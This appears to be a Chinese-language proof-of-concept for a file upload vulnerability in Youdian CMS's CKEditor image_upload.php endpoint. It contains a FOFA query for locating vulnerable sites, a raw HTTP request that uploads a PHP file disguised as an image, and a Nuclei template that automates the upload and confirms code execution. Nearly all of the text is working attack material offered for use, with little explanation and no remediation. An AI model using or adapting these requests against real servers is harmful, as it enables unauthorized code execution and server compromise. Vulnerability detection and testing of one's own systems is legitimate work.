友点CMS image_upload.php 文件上传漏洞

# 搜索语法app="友点建站-CMS"

POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1Host: 127.0.0.1Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Content-Length: 0------WebKitFormBoundarydAPjrmyKewWuf59HContent-Disposition: form-data; name="files"; filename="ceshi.php"Content-Type: image/jpg<?php echo md5('666');unlink(__FILE__);?>------WebKitFormBoundarydAPjrmyKewWuf59H--

id: Youdian-CMS-uploadfileinfo:  name: 友点CMS建站系统image_upload.php 接口处存在文件上传漏洞，恶意攻击者可能会利用此漏洞上传恶意文件，从而获取服务器权限。  author: LY  severity: high  metadata:     fofa-query: app="友点建站-CMS"variables:  filename: "{{to_lower(rand_base(10))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |        POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1        Host: {{Hostname}}        Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36        Content-Length: 0        ------WebKitFormBoundarydAPjrmyKewWuf59H        Content-Disposition: form-data; name="files"; filename="{{filename}}.php"        Content-Type: image/jpg        <?php echo md5('666');unlink(__FILE__);?>        ------WebKitFormBoundarydAPjrmyKewWuf59H--      - |        GET /Public/image/uploads/{{path}}.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0    extractors:      - type: regex        name: path        group: 1        regex:           - 'image/uploads/(w*).php'        internal: true    matchers:      - type: dsl        dsl:          - status_code==200 && contains_all(body,"fae0b27c451c728867a567e8c1bb4e53")